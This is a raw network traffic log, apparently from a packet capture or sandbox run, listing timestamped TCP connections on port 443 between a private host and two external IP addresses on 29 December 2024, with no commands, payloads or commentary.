                                                                                                                                                                                                                                        Dec 29, 2024 20:03:05.563817024 CET49793443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:05.563872099 CET44349793162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:05.564032078 CET4434979231.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:05.564100981 CET49792443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:05.564771891 CET44349793162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:05.564827919 CET49793443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:05.565690041 CET49793443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:05.565758944 CET44349793162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:05.565790892 CET49793443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:05.565834045 CET49793443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:05.565850973 CET44349793162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:05.566195965 CET49792443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:05.566210985 CET4434979231.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:05.566450119 CET4434979231.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:05.568952084 CET49792443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:05.569248915 CET49792443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:05.569302082 CET4434979231.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:05.617953062 CET49793443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.069302082 CET44349795162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.069778919 CET49795443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.069814920 CET44349795162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.071302891 CET44349795162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.071407080 CET49795443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.072091103 CET49795443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.072191954 CET44349795162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.072225094 CET49795443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.072256088 CET49795443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.072308064 CET44349795162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.094599009 CET44349793162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.094647884 CET44349793162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.094692945 CET49793443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.095339060 CET49793443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.113748074 CET49800443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.113774061 CET44349800162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.114221096 CET49800443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.114221096 CET49800443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.114245892 CET44349800162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.117952108 CET49795443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.117971897 CET44349795162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.164823055 CET49795443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.566483021 CET44349795162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.566536903 CET44349795162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.566593885 CET49795443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.567183971 CET49795443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.583097935 CET49801443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.583139896 CET44349801162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.583218098 CET49801443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.583492994 CET49801443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.583509922 CET44349801162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.854959011 CET4434979231.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.855011940 CET4434979231.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.855063915 CET49792443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.862072945 CET49792443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:06.862082958 CET4434979231.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.055038929 CET49805443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.055066109 CET4434980531.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.055143118 CET49805443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.064203024 CET49805443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.064217091 CET4434980531.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.370349884 CET44349800162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.370781898 CET49800443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.370793104 CET44349800162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.371665001 CET44349800162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.371737003 CET49800443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.372390985 CET49800443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.372446060 CET44349800162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.372539043 CET49800443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.372544050 CET44349800162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.372571945 CET49800443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.414845943 CET49800443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.414850950 CET44349800162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.838870049 CET44349801162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.839284897 CET49801443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.839309931 CET44349801162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.840182066 CET44349801162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.840265036 CET49801443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.840960979 CET49801443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.841022968 CET44349801162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.841115952 CET49801443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.841125965 CET44349801162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.841164112 CET49801443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.841186047 CET44349801162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.883555889 CET49801443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.921657085 CET44349800162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.921705008 CET44349800162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.921767950 CET49800443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.922425032 CET49800443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.967200041 CET49806443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.967245102 CET44349806162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.967334986 CET49806443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.967650890 CET49806443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:07.967664957 CET44349806162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:08.331113100 CET44349801162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:08.331165075 CET44349801162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:08.331248999 CET49801443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:08.331887960 CET49801443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:08.348826885 CET49811443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:08.348850965 CET44349811162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:08.348941088 CET49811443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:08.349225998 CET49811443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:08.349239111 CET44349811162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:08.440620899 CET4434980531.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:08.440716028 CET49805443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:08.442053080 CET49805443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:08.442059040 CET4434980531.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:08.442286968 CET4434980531.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:08.444731951 CET49805443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:08.444775105 CET49805443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:08.444801092 CET4434980531.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.222887993 CET44349806162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.223284006 CET49806443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.223298073 CET44349806162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.224184990 CET44349806162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.224244118 CET49806443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.224926949 CET49806443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.224987984 CET44349806162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.225048065 CET49806443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.225112915 CET49806443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.225121021 CET44349806162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.274283886 CET49806443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.604976892 CET44349811162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.605396032 CET49811443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.605416059 CET44349811162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.606308937 CET44349811162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.606375933 CET49811443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.607072115 CET49811443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.607126951 CET44349811162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.607227087 CET49811443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.607234001 CET44349811162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.607276917 CET49811443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.607287884 CET44349811162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.649811029 CET49811443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.671241045 CET4434980531.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.671370983 CET4434980531.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.671423912 CET49805443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.682995081 CET49805443192.168.2.431.14.70.245
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.683010101 CET4434980531.14.70.245192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.731647968 CET44349806162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.731714964 CET44349806162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.731796026 CET49806443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.739665031 CET49806443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.855798006 CET49813443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.855845928 CET44349813162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.855941057 CET49813443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.856285095 CET49813443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:09.856298923 CET44349813162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:10.115190029 CET44349811162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:10.115238905 CET44349811162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:10.115287066 CET49811443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:10.120959044 CET49811443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:10.271665096 CET49814443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:10.271693945 CET44349814162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:10.271786928 CET49814443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:10.274897099 CET49814443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:10.274914026 CET44349814162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:10.978559971 CET49819443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:10.978583097 CET44349819162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:10.978642941 CET49819443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:10.979085922 CET49819443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:10.979099989 CET44349819162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.111737013 CET44349813162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.112123013 CET49813443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.112137079 CET44349813162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.112998009 CET44349813162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.113059044 CET49813443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.113668919 CET49813443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.113727093 CET44349813162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.113816977 CET49813443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.113825083 CET44349813162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.113852024 CET49813443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.155339956 CET44349813162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.164823055 CET49813443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.530119896 CET44349814162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.530582905 CET49814443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.530597925 CET44349814162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.531645060 CET44349814162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.531698942 CET49814443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.532406092 CET49814443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.532473087 CET44349814162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.532541037 CET49814443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.532546997 CET44349814162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.532578945 CET49814443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.532605886 CET44349814162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.586704969 CET49814443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.625674963 CET44349813162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.625746012 CET44349813162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.625824928 CET49813443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.626493931 CET49813443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.643630028 CET49821443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.643656969 CET44349821162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.643728971 CET49821443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.644011974 CET49821443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:11.644022942 CET44349821162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.013741970 CET44349814162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.013792992 CET44349814162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.013843060 CET49814443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.014591932 CET49814443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.231456995 CET49822443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.231481075 CET44349822162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.231636047 CET49822443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.231966972 CET49822443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.231981993 CET44349822162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.235526085 CET44349819162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.235908031 CET49819443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.235919952 CET44349819162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.237374067 CET44349819162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.237437010 CET49819443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.238147974 CET49819443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.238235950 CET44349819162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.238270044 CET49819443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.238354921 CET49819443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.238362074 CET44349819162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.289841890 CET49819443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.722789049 CET44349819162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.722872972 CET44349819162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.722942114 CET49819443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.730204105 CET49819443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.805435896 CET49827443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.805454969 CET44349827162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.805524111 CET49827443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.808712959 CET49827443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.808726072 CET44349827162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.898436069 CET44349821162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.900131941 CET49821443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.900146961 CET44349821162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.901019096 CET44349821162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.901076078 CET49821443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.910382986 CET49821443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.910437107 CET44349821162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.910515070 CET49821443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.910520077 CET44349821162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.910538912 CET49821443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.955329895 CET44349821162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:12.961698055 CET49821443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:13.399971962 CET44349821162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:13.400044918 CET44349821162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:13.400312901 CET49821443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:13.400758982 CET49821443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:13.417511940 CET49828443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:13.417541027 CET44349828162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:13.417619944 CET49828443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:13.418064117 CET49828443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:13.418080091 CET44349828162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:13.533585072 CET44349822162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:13.535062075 CET49822443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:13.535073042 CET44349822162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:13.535950899 CET44349822162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:13.536015034 CET49822443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:13.536612988 CET49822443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:13.536669016 CET44349822162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:13.536720991 CET49822443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:13.536731005 CET44349822162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:13.536750078 CET49822443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:13.579338074 CET44349822162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:13.586707115 CET49822443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:14.018233061 CET44349827162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:14.018671036 CET49827443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:14.018688917 CET44349827162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:14.020153999 CET44349827162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:14.020219088 CET49827443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:14.020936966 CET49827443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:14.021028996 CET44349827162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:14.021059036 CET49827443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:14.021133900 CET49827443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:14.021142960 CET44349827162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:14.054883957 CET44349822162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:14.054939032 CET44349822162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:14.054989100 CET49822443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:14.055680990 CET49822443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:14.071121931 CET49827443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:14.073211908 CET49830443192.168.2.4162.159.138.232
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:14.073229074 CET44349830162.159.138.232192.168.2.4
                                                                                                                                                                                                                                        Dec 29, 2024 20:03:14.073326111 CET49830443192.168.2.4162.159.138.232
